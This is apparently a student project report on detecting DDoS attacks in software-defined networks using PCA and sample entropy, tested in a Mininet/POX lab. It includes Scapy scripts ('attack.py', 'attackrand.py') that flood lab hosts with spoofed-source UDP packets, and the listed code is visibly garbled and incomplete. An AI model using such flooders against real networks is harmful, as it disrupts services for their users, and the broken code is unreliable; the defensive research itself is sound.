DETECTION AND MITIGATION OF DISTRIBUTED DENIAL OF SERVICE (DDOS) ATTACK IN SOFTWARE DEFINED NETWORKS

A MINOR PROJECT REPORT

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ABSTRACT

Software defined networking (SDN) is a new emerging networking architecture, it fixes the needs of shortage of needs the traditional network does not support such as dynamic and scalable computing and storage needs for more computing environment. However, SDN also faces security problems; it is vulnerable to DDOS attack. DDOS is a well known attack, but unlike in traditional networks, DDOS not only damages the targeted server but also the SDN network by taking advantage of the devices limited buffer space and disturbing the resource allocation. Therefore it is very important have a real time detection system to identify the attack in the early stages.

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ABBREVIATIONS

SDN - Software Defined Networks

DOS - Denial of Service

DDOS - Distributed Denial of Service

PCA - Principal Component Analysis

TCP - Transmission Control Protocol

UDP - User Datagram Protocol

INTRODUCTION

1.1 DDOS

DDoS stands for distributed denial of service. It's a cyber attack on a specific server or network with the main purpose of disrupting that network or server's normal operation. DDoS attacks are used to run out of the target's network bandwidth or process resources. And due to the mechanism of SDN environments, the switches need to hold all packets which are not instructed in memory buffer before it gets respond from the controller, the size of memory buffer is very less which is exploited thus paving way to the new type of DDoS attacks which easily flood this space and lead to packets drop.

1.2 DIFFERENCE BETWEEN DOS & DDOS

DOS attack – is an attack only from one source. As the attack is from a single source it's easier to pinpoint and the server can just simply close the connection where the attack is coming from.

Whereas DDOS is an attack from multiple sources all at once. So now instead of dealing an attack from a single source, the server now has to handle with an attack from multiple sources and when this happens, it will overwhelm the server. It will consume the server's system resources, such as the CPU, memory, and network bandwidth.

1.3 SOFTWARE DEFINED NETWORK (SDN)

SDN is an emerging architecture that decouples the network control plane and data plane, which simplifies network management and also makes the network programmable by making decisions about how to send traffics from the bottom component forwarding traffics. This feature of SDN is facilitating. SDN is an architecture which is manageable, profitable, and adaptable, which makes it ideal for

the higher bandwidth, dynamic nature of modern applications. The centralized controller of SDN has the real-time feedback that control capability, and open interfaces which offer modular plug-in features. This controller provides an abstract view, defining tasks by APIs and greater programmability of the network. It can integrate devices within the network topology, which can lead to increase in accuracy, detecting security incidents and simplify management.

1.4 NEW TYPE OF DDOS ATTACK ON SDN

The new type of DDoS attack is different from traditional DDoS attack, where the packet's destination is chosen randomly. This attack is not aimed at one fixed target server, but the SDN network system. Therefore will be no server detecting the attack, therefore no server will alarm the attack, therefore harder to be detected and reported.

The buffer stores all the packets awaiting the controller's instructions, until an instruction is received from the controller the packet is not dropped or the packet is dropped automatically after a time out. Only the first packet of a new flow is saved in the buffer, hence if the flow has occurred before, its first packet is not buffered. With the new type of DDoS since the destination IP address is chosen at random a packet from each flow is buffered and wait for the controllers instructions.

The packets have different origin and destination, so a new table flow in needed for every packet. Since there are no pattern between the packets, it is very hard to classify table flows, which means it will cost a lot of flow table space

1.5 SOFTWARE REQUIREMENTS SPECIFICATIONS

Operating System : Linux (Virtual Machine)

Technology Used : Python
Software Used : Mininet

Browser : Mozilla Firefox

CHAPTER 2 LITERATURE SURVEY

We inspected a variety of references to implement the DDoS attack detection using the method Sample Entropy and PCA. Previous studies of DDoS attack detection show some treatment against this attack on SDN, but there are inadequacies in these works. For instance, to detect attack in smaller topologies using entropy method may lead to false alarm even for normal traffic.

From these references, we got an overview of SDN layout architecture along with its strengths to combat the problems of DDoS attacks and its vulnerabilities. Besides this, we did learn the technical aspects of various security mechanisms. The controller remains the primary target for the attacker as the controller is main responsible component of SDN. So, focus of this work is to analyze malicious packets in the initial phase of the attack before the controller is crashed.

SYSTEM ARCHITECTURE AND DESIGN

3.1 SYSTEM ARCHITECTURE

Traditional network framework have failed to handle certain requirements like high bandwidth, accessibility, high connection speed, dynamic management, cloud computing, and virtualization. Thus, SDN, which has a flexible, programmable, and dynamic architecture, has surfaced as an alternative to traditional networks. SDN architecture includes three planes. They are control, data, and application planes.

- 1. Devices, such as switches and routers, are placed on the data plane.
- 2. This plane is programmed and supervised by the control plane
- 3. The application plane interacts with the devices positioned on the network infrastructure via the controller.

In a SDN environment, the data collection, matrix calculations and result comparison is completed at the controller side. Considered the variation in bandwidth and computation capabilities of controller and switches, the controller has chance of turning off during a DDoS attack.




Fig.3.1 SDN Architecture

3.2 DESIGN

To manage the network traffic we separate the network into subnets with a switch on top to report to the controller. Hence we did use tree topology to handle the traffic load to a controller. Hence let us consider a tree topology with depth 2 and number of nodes connected to a switch or fanout be 8, creating a network consisting of 64 hosts and 9 switches, so there are 64 origin nodes and 64 destination nodes and such that origin node and destination node are not same. For each OD-pair (O:D) we could represent that:

$$(O:D); O = 1, 2...64; D = 1, 2...64;$$
 such that $O \neq D$

Depth: 2

Fanout: 8

Number of hosts: 64 (fanout depth)

Number of switches: 9 (fanout + 1)




Fig 3.2: Mininet Topology

METHODOLOGY

4.1 EXISTING SYSTEM - ENTROPY

The randomness of the packets determines the entropy, so if the randomness of the packets is higher then, the value of entropy is higher and vice versa. We can identify the DDoS attack by fixing a threshold value for entropy.

To determine irregularities in a network predefined entropy thresholds are used. Whenever a packet arrives at the controller, it means that the source address is always new. So, the controller **calculates** the entropy of the **received** packet and **fixes** the sampling time **on the basis** threshold value. If the entropy exceeds the fixed threshold value an attack is detected.

4.1.1. LIMITATIONS OF EXISTING SYSTEM

- ➤ Not accurate for small topologies
- New type of DDOS attacks can't be detected.

4.2 PROPOSED SYSTEM – PRINCIPAL COMPONENT ANALYSIS

PCA is a mathematical procedure of transformation of number of corelated variables into principal components (smaller number of non-corelated variables). PCA is used to visualize and explore data easier by highlighting variations and identifying strong patterns in the dataset.

There are three important properties made PCA popular.

- 1. It's scheme for transforming higher dimensional vectors into lower dimensional vectors.
- 2. Calculate model parameters directly from the data.
- 3. Operations like compression and decompression on the given model parameters can be computed with ease.

The PCA model can be described as:

u = Wx

where,

u -> m-dimensional projected vector

 $W = E^{T}$ (where E has the eigenvectors as its columns)

x-> d-dimensional data vector

The measure of dispersion is the variance and standard deviation of a random variable. The average value of the squared deviation from mean of variable is variance and the square root of variance is standard deviation.

Using PCA we plot a graph of standard deviation against time and we recognize that the system is under attach when there is a sudden increase in the standard deviation of PCA.

4.2.1. ADVANTAGES OF PROPOSED SYSTEM

- Detects new type of DDOS attack
- Might be slower than existing methodology but accurate

CODING AND TESTING

5.1 CODING

Code: 'traffic.py'

```
import sys
import getopt
import time
from os import popen
import logging
linport togging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sendp, IP, UDP, Ether, TCP
import random
def generateSourceIP():
    #not valid for first octet of IP address
    not_valid = [10, 127, 254, 1, 2, 169, 172, 192]
      #selects a random number in the range [1,256)
     first = random.randrange(1, 256)
     while first in not_valid:
           first = random.randrange(1, 256)
     #eg, ip = "100.200.10.1"
ip = ".".join([str(first), str(random.randrange(1,256)), str(random.randrange(1,256))])
#start, end: given as command line arguments. eg, python traffic.py -s 2 -e 65
def generateDestinationIP(start, end):
    first = 10
      third = 0;
     #eg, ip = "10.0.0.64" ip = ".".join([str(first), str(second), str(third), str(random.randrange(start,end))])
     #print argv
     #getopt.getopt() parses command line arguments and options
try:
    opts, args = getopt.getopt(sys.argv[1:], 's:e:', ['start=','end='])
     except getopt.GetoptError
sys.exit(2)
      for opt, arg in opts:
           if opt =='-s':
    start = int(arg)
elif opt =='-e':
    end = int(arg)
     if start ==
     sys.exit()
if end == '':
           sys.exit()
      #open interface eth0 to send packets
      \label{eq:config} interface = popen('ifconfig \mid awk \'/eth0/ \{print $1\}\'').read()
     for i in range(100000):
    packets = Ether() / IP(dst = generateDestinationIP (start, end), src = generateSourceIP ()) / UDP(dport = random.randrange(1, 1024), sport = random.
    print(repr(packets))
           #rstrip() strips whitespace characters from the end of interface
           sendp(packets, iface = interface.rstrip(), inter = 0.1)
                       main ':
   main(sys.argv)
```

Code: 'attack.py'

```
import sys
import time
from os import popen
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from random import randrange
from scapy.all import *
from scapy.layers.inet import IP, TCP, UDP, Ether
def generateSourceIP():
   not_valid = {10, 127, 254, 255, 1, 2, 169, 172, 192}
   first = randrange(1, 256)
    while first in not_valid:
    first = randrange(1, 256)
    ip = ".".join([str(first), str(randrange(1, 256)), str(randrange(1, 256))])
def generateDestinationIP(start, end):
     second = 0
     third = 0
    # eg, ip = "10.0.0.64"
ip = ".".join([str(first), str(second), str(third), str(randrange(start, end))])
def generateRandomSrcPort():
    sport = random.randint(1024, 65535)
return sport
def main():
    for i in range(1, 10):
         launchAttack(300)
         time.sleep(2)
def launchAttack(n):
    interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()
    for i in range(0, n):
    data = Raw(b"X" * 256)
         print(repr(packets))
         interval = random.random()
interval = float("0.0" + str(interval)[2:5])
# send packets with interval = 0.025 s
sendp(packets, iface=interface.rstrip(), inter=interval)
if __name__ == "__main__":
    main()
```

Code: 'attackrand.py'

```
import sys
import time
from os import popen
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from random import randrange
from scapy.all import *
from scapy.layers.inet import IP, TCP, UDP, Ether
def generateSourceIP():
   not_valid = {10, 127, 254, 255, 1, 2, 169, 172, 192}
   first = randrange(1, 256)
      while first in not_valid:
    first = randrange(1, 256)
      ip = ".".join([str(first), str(randrange(1, 256)), str(randrange(1, 256))])
      return ip
def generateDestinationIP(start, end):
    first = 10
    second = 0;
     # eg, ip = "10.0.0.64" ip = ".".join([str(first), str(second), str(third), str(randrange(start, end))])
def generateRandomSrcPort():
      sport = random.randint(1024, 65535)
return sport
def main():
      for i in range(1, 100):
    launchAttack(300)
             time.sleep(2)
def launchAttack(n):
     launchAttack(n):
    # eg, python attack.py 10.0.0.64, where destinationIP = 10.0.0.64
# destinationIP = sys.argv[1:]
# destinationIP = ["10.0.0.50","10.0.0.51","10.0.0.52","10.0.0.53","10.0.0.54","10.0.0.55","10.0.0.56","10.0.0.57","10.0.0.58","10.0.0.59"]
# destinationIP[random.randint(0, len(destinationIP) - 1)]
# print destinationIP
      interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()
      for i in range(0, n):
    data = Raw(b"X" * 256)
             packets = Ether() / IP(dst=generateDestinationIP(30, 45), src=generateSourceIP()) / UDP(dport=80, sport=generateRandomSrcPort()) / data
             print(repr(packets))
            print(repr(packets))
interval = random.random()
interval = float("0.0" + str(interval)[2:5])
# send packets with interval = 0.025 s
sendp(packets, iface=interface.rstrip(), inter=interval)
if __name__ == "__main__":
    main()
```

5.2 TESTING

1. Run the pox controller:

\$ cd pox

\$ python ./pox.py forwarding.l3_detectionPCA.py

2. Create a mininet topology by entering the following command in another terminal: \$ sudo mn --switch ovsk --topo tree,depth=2,fanout=8 -- controller=remote,ip=127.0.0.1,port=6633

3. Open xterm for the following hosts:

mininet>xterm h1 h2 h3 h64

4. In the xterm window of h1, run the following commands to launch traffic:

\$ cd ../mininet/custom

\$ python traffic.py –s 2 –e 64

- 5. Now the pox controller generates a list of values for deltaY, which is the difference between the y-coordinates of a packet and the point obtained by drawing a perpendicular from this packet to the Principal Component Axis.
- 6. Repeat step (4) on h1 and parallelly enter the following commands on h2 and h3 xterm windows to launch the attack:

\$ cd ../mininet/custom

\$ python attack.py 10.0.0.64

Launch the new type of DDoS attack

\$ mininet > python ./mininet/custom/attackrand.py

Observe the deltaY values in the pox controller. The values converge to the interval (-1, 1). Thus, we can detect the attack.

RESULTS AND DISCUSSION

6.1. RESULTS

In this project, 3 cases are considered:

- 1. Normal traffic
- 2. Normal traffic with DDoS attack
- 3. Normal traffic with new type DDoS attack

To conclude things, we compare already existing method (Sample Entropy) with proposed method (PCA) in every case.

Case 1: Normal Traffic

In mininet, we run the code 'traffic.py' in four hosts to generate normal traffic which sends TCP packets to the 64 nodes in the topology. In this session, data is collected and is compared with rest of the cases.

Existing Method: The entropy value is always higher than 1 which shows us that there is dispersion in traffic.

Proposed Method:




Fig.6.1.1 Standard Deviation vs Time Graph (No attack)

The above graph is generated using PCA by plotting the standard deviation against time. This plot is used to compare with the rest of the two cases

Case 2: Normal traffic with DDoS attack

Similar to case 1, the code traffic.py is run in 4 hosts of the network and the values are recorded. Then, to attack the host with IP 10.0.0.64 we run the code 'attack.py' with argument 10.0.0.64.

Existing Method: As time progresses the entropy value descends, from which we can say that randomness in the traffic decreased and many packets are directed towards the host 10.0.0.64. And when the entropy value is below 1, we can confirm that system is under attack.

Proposed Method:




Fig.6.1.2. Standard Deviation vs Time Graph (DDoS attack)

The above graph generated using PCA; the standard deviation of PCA also has a sudden increase when the DDoS attack is initiated. From which we can detect the system is under attack. And we can recognize the distance of y from the principal component also has high variations when the DDoS attack is initiated, also as time progresses the distance of y from the principal component converges in the range (-1,1).

Case 3: Normal traffic with DDoS attack (new type)

Similar to case 1 and 2, the code traffic.py is run in four hosts of the topology and the values are recorded. And then to generate packets with random destination we run the code 'attackrand.py'.

Existing Method: The value keeps ascending in the entropy method as time progresses. After the DDoS attack is launched the entropy value does not move towards 1 hence, we cannot indicate the DDoS.

Proposed Method:




Fig. 6.1.3. Standard Deviation vs Time Graph (new type DDoS attack)

The acquired graph is similar to that of case 2 with little variations. The values of the standard deviation are higher than the values obtained in case 2. And also, distance of y from principal component converges at range (-1,1) after a longtime duration.

6.2 DISCUSSION

The results acquired from all the cases show that entropy may have faster detection time than PCA. While PCA detects the presence of the new type of DDoS attack sample entropy fails to do so. It is also found that in the new type of DDoS attack to the hijacking of the controller's resources and completely occupying of buffer memory there are fluctuations in the entropy and distance of y from principal component in case 2. These fluctuations may also lead to the complete shutting of the SDN network.

6.3 SCREENSHOTS

```
praneeth@praneeth:~/pox

praneeth@praneeth:~/pox$ python ./pox.py forwarding.l3_detectionPCA
POX 0.7.0 (gar) / Copyright 2011-2020 James McCauley, et al.
WARNING:version:Support for Python 3 is experimental.
INFO:core:POX 0.7.0 (gar) is up.
INFO:openflow.of_01:[00-00-00-00-00-01 1] connected
INFO:openflow.of_01:[00-00-00-00-00-02 2] connected
INFO:openflow.of_01:[00-00-00-00-00-03 3] connected
INFO:openflow.of_01:[00-00-00-00-00-02 5] connected
INFO:openflow.of_01:[00-00-00-00-00-02 5] connected
INFO:openflow.of_01:[00-00-00-00-00-07 7] connected
INFO:openflow.of_01:[00-00-00-00-00-04 8] connected
INFO:openflow.of_01:[00-00-00-00-00-05 9] connected
INFO:openflow.of_01:[00-00-00-00-00-05 9] connected
```

Fig.6.3.1. Running the pox controller

```
praneeth@praneeth:~ Q = - D 

praneeth@praneeth:~ $ sudo mn --switch ovsk --topo tree,depth=2,fanout=8 --controller=remote, ip=127.0.0.1,port=6633
[sudo] password for praneeth:
*** Creating network
*** Adding controller
*** Adding hosts:
h1 h2 h3 h4 h5 h6 h7 h8 h9 h10 h11 h12 h13 h14 h15 h16 h17 h18 h19 h20 h21 h22 h23 h24 h25 h
26 h27 h28 h29 h30 h31 h32 h33 h34 h35 h36 h37 h38 h39 h40 h41 h42 h43 h44 h45 h46 h47 h48 h
49 h50 h51 h52 h53 h54 h55 h56 h57 h58 h59 h60 h61 h62 h63 h64
*** Adding switches:
s1 s2 s3 s4 s5 s6 s7 s8 s9
*** Adding links:
(s1, s2) (s1, s3) (s1, s4) (s1, s5) (s1, s6) (s1, s7) (s1, s8) (s1, s9) (s2, h1) (s2, h2) (s
2, h3) (s2, h4) (s2, h5) (s2, h6) (s2, h7) (s2, h8) (s3, h9) (s3, h10) (s3, h11) (s3, h12) (s
3, h13) (s3, h14) (s3, h15) (s3, h16) (s4, h17) (s4, h18) (s4, h19) (s4, h20) (s4, h21) (s4
h22) (s4, h23) (s4, h24) (s5, h25) (s5, h26) (s5, h27) (s5, h28) (s5, h29) (s5, h30) (s5, h31) (s5, h32) (s6, h33) (s6, h34) (s6, h35) (s6, h36) (s6, h37) (s6, h38) (s6, h39) (s6, h40)
(s7, h41) (s7, h42) (s7, h43) (s7, h44) (s7, h45) (s7, h46) (s7, h47) (s7, h48) (s8, h49)
(s8, h50) (s8, h51) (s8, h52) (s8, h53) (s8, h54) (s8, h55) (s8, h56) (s9, h57) (s9, h58) (s9, h50 h15) h52 h53 h54 h55 h56 h57 h58 h59 h60 h61 h62 h63 h64

*** Starting controller
c0

*** Starting CLI:
mininet>
```

Fig.6.3.2. Creating a mininet topology

Fig.6.3.3. run the code 'traffic.py' to generate normal traffic.




Fig.6.3.4. deltaY for normal traffic is shown



Fig.6.3.5. Xterm command (generating attack)



Fig.6.3.6. DDoS detected using PCA

CONCLUSION AND FUTURE ENHANCEMENT

A Distributed Denial of Service (DDoS) attack is an attempt to make the services of network unavailable by exhausting the resources. The effect of this DDoS attack is terrible in an SDN compared to the traditional one. This is so as, the controller will be invoked every time for a new [O, D] pair. Therefore, within a short time when the attacker bursts too much packets into a network it will damage the controller, followed by the collapse of the network.

We have implemented two methods to detect DDoS attacks successfully. The results show that Principal Component Analysis is a better approach than the sample entropy because:

In sample entropy, every packet which has entropy value less than the threshold value is stored in a dictionary and if an entry comes more than 5 times, it is assumed as a DDoS attack. This knobe value of 5 reckons on the topology. Hence, a topology smaller in size may show DDoS attack for normal traffic also.

But in PCA analysis, we are taking characteristics of each packet to update the principal component axis. The destination value of every packet is compared with current principal component axis. During an attack, the principal component axis is gradually shifted towards the destination value. Hence, there will be successive decrease in deltaY values, which is an indication of DDoS attack.

In the future, this work will focus on detecting and mitigating DDoS attacks using distributed multi-controllers in SDN and eliminate the constraints in existing centralized multi-controller and single controller architecture and also analyzing DDoS attacks from different source nodes occurring simultaneously in the controllers.

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